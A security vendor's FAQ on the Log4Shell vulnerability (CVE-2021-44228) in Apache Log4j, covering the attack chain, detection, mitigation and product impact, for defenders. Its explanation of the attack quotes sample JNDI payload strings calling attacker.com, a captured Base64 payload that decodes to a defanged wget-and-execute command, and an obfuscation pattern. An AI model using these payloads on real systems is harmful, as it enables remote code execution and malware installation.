Last Updated: December 17, 2021
Introduction
On December 9, 2021, the Apache Software Foundation released Log4j 2.15.0 to resolve a critical remote code execution vulnerability (CVE-2021-44228) that affects versions 2.0-beta9 through 2.14.1. Log4j is a popular Java logging library incorporated into a wide range of Apache enterprise software, including Struts2, Solr, Druid, and Flink.
Secureworks hosted a Log4j Vulnerability: Ask Secureworks Experts webinar on December 15 and you can watch the replay here. You can also read Log4j: What We’ve Learned So Far.
We have created the technical FAQ below for IT and cybersecurity professionals to serve as a helpful guide for addressing the Log4j vulnerability. This resource also provides links to other third-party resources. It will continue to be updated.
Q. How serious is the vulnerability?
A. This is a serious vulnerability because it can be used for remote command execution across a large volume of software products. Threat actors who can control log messages or log message parameters could exploit the vulnerability to execute arbitrary code and gain full control of the affected server. There has been extensive reporting of threat actors exploiting this vulnerability to deploy cryptominers and potentially other malware.
Q. How does exploitation of this vulnerability work?
A. The vulnerability affects how Log4j processes log messages. By sending specially crafted messages to a system that uses Log4j, a threat actor can cause the system to load external code, an action known as remote command execution.
In 2019, Vera Code wrote a detailed blog that looked at some of the components involved with CVE-2021-44228. Exploitation of CVE-2021-44228 uses Java Naming and Directory Interface (JNDI), which is a Java API that allows clients to discover and look up data and objects via name. These objects can be stored by the threat actor in different naming or directory services, such as Remote Method Invocation (RMI), Lightweight Directory Access Protocol (LDAP), or Domain Name Service (DNS).
This is how an attack could potentially work:
- The threat actor submits a specially crafted string containing a malicious payload to a system that is vulnerable to CVE-2021-44228. This string could be via any field that the system logs, such as a User Agent string, referrer, username or email address, device name, or freetext input.
- The string, which might be something like ${jndi:ldap://attacker.com/a} – where attacker.com is a threat actor-controlled LDAP server – is passed to Log4j for logging.
- The log4j vulnerability is triggered by this payload and the vulnerable system uses JNDI to query the threat actor-controlled LDAP server.
- The threat actor-controlled LDAP server responds with information that includes a remote Java class file (e.g., hXXp://second-stage.attacker.com/Exploit.class).
- This Java class is deserialized (downloaded) and executed.
The Swiss CERT (GovCERT.ch) published a blog that provides a graphical view of this attack chain: https://www.govcert.admin.ch/blog/zero-day-exploit-targeting-popular-java-library-log4j/
Secureworks customer telemetry also shows attackers attempting to exploit the vulnerability by passing Base64-encoded commands to do things like download cryptocurrency miners. For example:
{jndi:ldap://<redacted_IP>:1389/Basic/Command/Base64/d2dldCBodHRwOi8vNjIuMjEwLjEzMC4yNTAvbGguc2g7Y2htb2QgK3ggbGguc2g7Li9s
This Base64 decodes to (defanged):
wget hXXp://62.210.130[.]250/lh.sh;chmod +x lh.sh;./l
Q. What software is impacted?
A. There is potentially a wide range of impacted software. A comprehensive but inexhaustive list of advisories released by various vendors in response to this vulnerability is being maintained by a third-party researcher here.
Q. Can Secureworks check my environment to identify affected systems?
A. Customers using Secureworks® Taegis™ VDR can use a detection deployed on December 12 that identifies vulnerable Log4j implementations by sending a request designed to trigger the vulnerability once potentially vulnerable assets are scanned. By default, VDR scans occur weekly, but customers can trigger a manual scan to gather results sooner than their next scheduled scan. To do so:
- Select all the potentially affected assets using a search query
- Click on the upper right “scan” icon within the product
Q. Is Secureworks impacted by this vulnerability?
A. Secureworks has patched all public facing systems vulnerable to Log4Shell (CVE-2021-44228) and has not observed any malicious activity in the corporate network related Log4Shell. Our on-premise products do not run Log4J and are not impacted by the vulnerability.
Taegis Engineering has verified that it did not have any Internet facing systems nor any on-premise products vulnerable to CVE-2021-44228. We are continuing to catalog and update a few internal systems using Java that are not exposed to the Internet.
Q. Are Taegis installations impacted?
A. Analysis conducted so far indicates that customer installations of the Taegis XDR Data Collector are not susceptible to this vulnerability. Secureworks is continuing to research and test the Log4j vulnerability and will continue to take indicated actions if more becomes known.
Q. What should customers do?
A. Secureworks recommends clients proactively check for systems running vulnerable versions of Log4j. These systems should be upgraded to use version 2.15.0 or later as of this writing. The latest updates on mitigation measures can be found here: https://logging.apache.org/log4j/2.x/security.html
Exploitation attempts will likely manifest in logs with a URL string that includes ${jdni:ldap://. Attackers may also obfuscate these URL patterns, for example using requests that contain strings such as {jndi:${lower:l}${lower:d}a${lower:p}.
Where feasible, organizations may be able to limit their exposure by preventing vulnerable servers from making outbound LDAP and RMI traffic to untrusted assets. To successfully exploit the vulnerability this outbound connection is required by an attacker to be able to inject a malicious payload into the communication.
Q. Will VDR detect this vulnerability and how can customers use VDR to search for it?
A. Taegis VDR has published a detection script on December 12th for remote Log4j vulnerability identification. Due to local networking particularities, the detection may not work reliably as intended. As such Taegis VDR has published updated authenticated detections for major Unix platforms on December 13th and is working on additional operating systems and software stacks, as details about this vulnerability continue to surface and specific vendors roll out their own advisories.
By default, VDR scans occur weekly, but customers can trigger a manual scan to gather results sooner than their next scheduled scan. (Directions for doing so are provided earlier in this FAQ.) Authenticated scans are preferred to reliably detect that specific vulnerability.
Q. What countermeasures have been deployed to detect exploitation of this vulnerability?
A. The primary vector for exploitation of CVE-2021-44228 is a public, remotely accessible service that uses Log4j to log user-controlled input. A threat actor can exploit this vulnerability by providing a specially crafted message to such an input, including HTTP headers (e.g., User-Agent, Authorization, Cookies, etc.), usernames, email addresses, and free text input. Secureworks has therefore deployed network intrusion detection / prevention countermeasures as a key detection method for the exploitation of CVE-2021-44228. These countermeasures detect suspect JNDI lookups across multiple services (LDAP, RMI, DNS, NIS, IIOP, CORBA), and successful exploitation and the delivery of second-stage payloads.
Crucially, a threat actor achieving remote code execution by exploiting this vulnerability then needs to execute additional commands or deploy additional tools. Secureworks has a very large number of network and endpoint countermeasures designed to detect this post-exploitation activity. Those activities may include:
- The deployment of cryptocurrency miners, ransomware, web shells, and post-exploitation frameworks including Cobalt Strike and Metasploit
- Suspect process launches, including suspect process launches from Java and Tomcat web servers
- The use of credential theft tools and techniques
- Lateral movement across the environment
- A wide variety of other malware-specific and behavioral countermeasures
Several other network and endpoint countermeasures to detect CVE-2021-44228 are currently under research and development by Secureworks, including countermeasures that attempt to detect JNDI lookup obfuscation techniques. True positive, actionable alerts from countermeasures in this research state are manually escalated to clients.
The network signatures that have been deployed to all iSensors™ will automatically generate alerts or block traffic depending on the iSensor policy selected. These production network signatures include the signatures for successful exploitation and payload delivery.
Additional countermeasures have been deployed as production Taegis™ XDR event filters. These are a combination of converted Red Cloak™ watchlists, script block event filters, and iSensor signatures that have been converted to HTTP event filters. These event filters will also automatically generate alerts for all Taegis XDR customers.
Secureworks researchers have also deployed endpoint countermeasures that detect processes that feature suspect and obfuscated JNDI lookups in their command line. These endpoint countermeasures may detect threat actors attempting to perform laterally from one host within an environment to another host by exploiting an internal service vulnerable to CVE-2021-44228.
Third-party devices receive updated protection as released from their respective vendors and deployed by Secureworks device management security teams.
Countermeasures will be continually added as information is learned across all Secureworks products.
Q. Will NGAV functionality within Red Cloak block this exploit?
A. No, there are no files associated with the exploit that Red Cloak can block; however, we would expect host agents and NGAV to detect follow-on activity, such as malware, cryptominers, etc.
Q. Am I part of the 1/3 of Secureworks customers referenced in CTU™ TIPS – Log4j vulnerability CVE-2021-44228 under active exploitation or the Taegis banner as having experienced exploitation attempts?
A. Please escalate such questions to the CTU-Support queue in CTP or CTU-Support group in Zendesk depending on how the question was received. The CTU will provide a response to the customer and may request log review support from the SOC/SECOPS, as needed.
Q. The Log4j vuln root cause was supposedly reported 5 years ago at Black Hat. Is there any sense that this vector was used in the past?
A. We have not observed Log4j being exploited by threat actors in the past. On this specific vulnerability, it looks like the details were disclosed to Apache around November 24, and we are unaware of any evidence that it was being exploited prior to that time.
Q. Is it true that another, second vulnerability has been discovered in Log4j?
A. On December 14, Apache pushed out updated version of Log4j 2.16.0. This is to address CVE-2021-45046, which relates to how the Thread Context Message Pattern and Context Lookup Pattern can be abused to create a denial-of-service attack condition. Affected versions of Log4j include 2.15.0, the version that was released on December 9 to address CVE-2021-44228 (Log4Shell). Apache recommends Java 8 users upgrade to 2.16.0. Java 7 users should install 2.12.2 when it becomes available. Apache’s official Log4j update page should be used as the authoritative source of information on the subject.
Q. Are versions 1.x of Log4j affected?
A. Log4j 1.x does not offer a JNDI look-up mechanism at the message level, so it does not suffer from CVE-2021-44228.
However, log4j 1.x comes with “JMSAppender” which will perform a JNDI lookup if enabled in log4j’s configuration file, which is not the default configuration. A separate CVE (CVE-2021-4104) has been filed for this vulnerability. To mitigate: audit your logging configuration to ensure it has no JMSAppender configured.
Apache’s official Log4j update page should be used as the authoritative source of information on the subject. Please note “Log4j 1.x has reached end of life and is no longer supported. Users should upgrade to Log4j 2 to obtain security fixes.”
Q. Which JAR files are impacted by this vulnerability? Does this vulnerability impact log4net, log4cxx, or other Apache Logging Services projects?
A. Per the guidance published by Apache, only the log4j-core JAR file is impacted by CVE-2021-44228. Applications using only the log4j-api JAR file without the log4j-core JAR file are not impacted by the vulnerability.
Q. If a system that is vulnerable to Log4j cannot be patched at this time what mitigating actions can be taken?
A. There are a few steps organizations can take. Those that are comfortable making changes on the system but that cannot patch, should consider removing the JndiLookup.class by running the following command on impacted jar files: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class.
Organizations should also consider:
- Disabling lookups in the system by setting the system property log4j2.formatMsgNoLookups to true (for versions > 2.10); or
- Setting the environment variable LOG4J_FORMAT_MSG_NO_LOOKUPS to true (for versions > 2.10); or
- Disabling lookups in message strings like: %m{nolookups} in version < 2.10
Disabling lookups will provide protection from most of the common scanning happening now, but there are still some attacks that could exploit a vulnerable version with disabled lookups.
Organizations uncomfortable with making changes on the system (or are, but want to implement additional controls) should consider:
- Ensuring the traffic is going through an iSensor/WAF/IPS. This can prevent the attack from reaching the system.
- Reducing the amount of traffic that can hit the vulnerable system. If the system doesn’t need to be on the internet, firewall it off to necessary and trusted IPS and ranges.
- Reducing the allowed outbound traffic for the host. This attack works by reaching out to a malicious server, so block any unnecessary IP addresses and Ports on a firewall.
- If the service isn’t necessary, halting it until a patch is available.
Q. Outside of vulnerability scanning, how else can I find impacted systems?
A. Redefine the question. Focus on systems that are vulnerable and systems that are compromised. Finding systems will involve multiple steps, but we can break it down into 2 main parts. First, identify the systems that are vulnerable that could be exploited. Second, search for log4j versions and indicators of compromise on those systems. For this to be successful, security teams should first focus their efforts on systems exposed directly to the Internet and then work their way inward. NOTE: A vulnerable log4j system can potentially be exploited even if not public-facing if other, Internet-facing systems are forwarding their logs to that internal system.
To identify systems that are vulnerable, find the systems in your environment known to use log4j (you can do this by looking at running processes and the start-up parameters of applications and seeing what versions of log4j are implemented or, as it’s outside the question, use newly created network scanners). Once you have identified potentially vulnerable systems, you can look at system/server logs for exploit scanning as well as server crashes. For example, Tomcat/Catalina may crash upon a successful exploit, leaving a gap in access log entries but showing a crash report and restart in the Catalina logs. Furthermore, look for the creation of new files, new processes, as well as new, outbound network connections (netstat), which can indicate a successful exploit.
Firewall and DNS logging can also play a role in finding impacted systems. Again, using IP addresses of the public-facing systems, look for newly created outbound sessions to suspicious addresses from those systems. Pay close attention to protocols and ports. DNS logging can also play a role when public-facing systems are requesting lookups of new FQDN’s for IP addresses. For this to be effective, the DNS server would need to log the system making the request. If firewall or DNS logging is not available, netflow could also help fill the gaps here and may help identify some of those newly created outbound network sessions. Establish a baseline going back to approximately December 1, 2021. Pay attention to outbound connections from public-facing systems beginning around December 9th – 10th onward.
Network Intrusion Detection and full packet capture sensors can also provide a wealth of information to security teams in this situation. IDS vendors are supplying updated signatures and rules to detect the network traffic. Please note, that Network IDS does not decrypt network traffic; therefore, they can’t inspect what they can’t see. With these added signatures, and possibly a little bit of tuning, the IDS sensors can monitor for the outbound connections made by public-facing systems.
Endpoint detection and response tools will also play a large role in identifying impacted systems. While host-based EDR detection of the exploit might be problematic, detection of the post-exploit activities threat actors would use is not. These are widely documented, and many countermeasures have been developed to detect this type of activity. Even if EDR tools were not in place at the time of the incident, deploying them after the fact can give security teams a view into what is occurring on the system at that moment. This would also include running processes, along with their start-up parameters, and network connections.
Lastly, if these are systems/appliances or applications that are supported by a vendor, check for information from the vendor. Some applications or appliances are limited in what access is provided to customers. There may be updates that the vendor supplies to resolve this issue.
Q. Can I/should I remove the vulnerable files from my systems?
A. Remediation of affected systems and applications has been in flux over the past few days. Customers should follow the latest guidance from Apache or your application vendor for the latest instructions.
Q. What should customers do?
A. Secureworks recommends customers proactively check for systems running vulnerable versions of Log4j, prioritizing those with the greatest exposure, which is likely to be those that are internet-facing. Exploitation attempts will likely manifest in logs with a URL string that includes ${jdni:ldap://. Attackers may also obfuscate these URL patterns, for example using requests that contain strings such as {jndi:${lower:l}${lower:d}a${lower:p}. Systems should be upgraded to use Log4j version 2.16.0 or later as of this writing, if possible.
If systems cannot be patched, organizations should review Apache’s mitigation advice, which is being regularly updated and can be found here.
Additional mitigation measures could include:
- Creating separate VLANs to segregate systems that maintain operations but minimizes the impact should a system be compromised.
- Configuring network and host-based firewalls to significantly reduce outbound communications to only trusted systems. This is another way to keep systems functional while the risk is still present. To successfully exploit the vulnerability this outbound connection is required by an attacker to be able to inject a malicious payload into the communication.
If customers have not already done so, review what logs are being collected and centralize them into a SIEM for monitoring. Like with other systems, check if your SIEM is affected by Log4j and update as needed. If you believe or have evidence that your systems have been compromised, the Secureworks Incident Response team is available to help 24/7/365.
Q. Can you detect the exploit activity on the network if the traffic is via HTTPS rather than HTTP?
A. For network countermeasures across any IDS or IPS appliances to be effective, SSL termination is required to allow those controls to inspect the contents of SSL traffic (e.g. HTTPS).
Q. Can Red Cloak™ identify if a server is running Log4j?
A. Red Cloak cannot identify a comprehensive list of systems that are running software that uses the Log4j software library. The best way to identify vulnerable systems is through asset management tools and authenticated network scans using tools such as Taegis™ VDR. Organizations that do not have access to a network scanner and do not have comprehensive asset management resources can look for running processes and the start-up parameters of applications to see what versions of Log4j are implemented.
Q. Can Red Cloak detect exploitation of CVE-2021-44228?
A. Due to the nature of this vulnerability, detecting successful exploitation using Red Cloak is challenging. Countermeasures deployed to the Red Cloak agent may detect attempts to move laterally from one system within the network to another using CVE-2021-44228.
In considering this question, there are two important points to note:
- The exploitation vector for CVE-2021-44228 is over the network. Network detections are therefore the most effective way to detect this. Secureworks has deployed a number of iSensor and Taegis event filters to detect network activity associated with this threat.
- Crucially, a threat actor achieving remote code execution by exploiting this vulnerability then needs to execute additional commands or deploy additional tools. Secureworks has a very large number of endpoint and network countermeasures designed to detect this post-exploitation activity, to include:
- The deployment of cryptocurrency miners, ransomware, web shells, and post-exploitation frameworks including Cobalt Strike and Metasploit
- Suspect process launches, including suspect process launches from Java and Tomcat web servers
- The use of credential theft tools and techniques
- Lateral movement across the environment
- A wide variety of other malware-specific and behavioral countermeasures
Q. Are there any blocklisted IP feeds for this automatically being fed to the iSensors?
A. Indicators related to identified post-exploitation activity are being captured and, where appropriate, applied to iSensor. The network countermeasures that have been deployed to iSensors provide a blocking capability and will automatically generate alerts or block traffic depending on the iSensor policy selected.
IP addresses currently being used for scanning are not considered helpful, because they provide no indication as to whether successful exploitation has occurred and alerting on them risks masking more critical alerts. Indicator matches on inbound scanning activity will create low fidelity noise that may hamper customer response efforts.
Q. Are any known source IPs automatically blocked as part of the Secureworks Counter Threat Platform™ (CTP)?
A. The CTP does not perform a blocking function. Whether threat indicators are being blocked for CTP customers depends on the customer controls that Secureworks manages for them. Our primary blocking control is iSensor.
Q. Are threat indicators being pushed to customer-facing blocklists?
A. Indicators from identified post-exploitation activity are being captured and where appropriate applied to AttackerDB and subsequently applied to Taegis XDR and CTP. IP addresses currently being used for scanning are not considered helpful, because they provide no indication as to whether successful exploitation has occurred and alerting on them risks masking more critical alerts. Indicator matches on inbound scanning activity will create low fidelity noise that may hamper customer response efforts.
Q. Is Snare impacted by the Log4j vulnerability?
A. Snare’s solutions are not vulnerable to the Log4j vulnerability, including Snare Agents.
The Snare Central log management and reporting system is also not vulnerable in its default configuration as its not running any Java components by default. However, if a customer has enabled the Elasticsearch option used for the add-on Analytics application, then it could present a risk. Elasticsearch access is restricted by an authentication proxy and is not directly accessible from the network. The only direct access method is via an existing shell on the server or from the system console.
Please read their article on Log4j and Snare for more information, including suggested mitigation for Snare Central installs if Elasticsearch has been enabled (https://www.snaresolutions.com/log4j-vulnerability-and-snare/). If you have any questions about Log4j and Snare, please contact their team at snaresales@prophecyinternational.com.
Q. Have Secureworks customers been exploited by the Log4j vulnerability?
A. While we have not seen a large volume of exploits among Secureworks customers, we have detected some activity. Those customers have been notified. We will continue monitoring for exploits and will continue to notify customers as needed.
Q. What is Secureworks doing for Taegis XDR and ManagedXDR customers to identify compromise from the Log4j vulnerability?
A. Since this incident began, Secureworks has been monitoring our customer environments to identify scanning and exploitations of the Log4j vulnerabilities. Secureworks has conducted targeted threat hunts (and will continue to) through all collected data to identify customers with evidence of scanning, exploitation, and/or post-exploitation activity not currently detected through existing countermeasures. Customers with any exploitation activity have already been notified. Customers with any observed scanning activity (whether or not they are vulnerable) will soon see an investigation labeled “Log4Shell Post Exploitation Threat Hunt” within the Taegis portal showing these findings.
While we are seeing the Log4j vulnerability in some customer scans, we are seeing very little exploitation to date. We will continue to monitor customer environments 24×7 and will promptly issue notice to customers if suspicious behavior is detected.
Q. Are LogVault products impacted by this vulnerability?
A. LogVault products use software created by TIBCO Software Inc. called LogLogic. Secureworks manages LogVault devices but doesn’t own the software made by TIBCO.
TIBCO’s approved plan for addressing log4shell was not released until December 16 and as such, Secureworks was unable to mitigate the issue without harming the service (such as halting the devices or applying fixes that could break the service).
On December 16, TIBCO announced that only version 6.3.1 of LogLogic was impacted. About a quarter of LogVaults were running this version. Secureworks built a fix for those systems based on their guidance.
Secureworks has deployed the fix as needed to many customer machines and will patch any remaining devices by December 20.
References
https://logging.apache.org/log4j/2.x/security.html – Log4j security notice
https://nvd.nist.gov/vuln/detail/CVE-2021-44228 – CVE-2021-44228 NVD notice
https://gist.github.com/SwitHak/b66db3a06c2955a9cb71a8718970c592 – Various statements by potentially impacted vendors
originally published onhttps://www.secureworks.com/blog/log4j-vulnerability-faqs
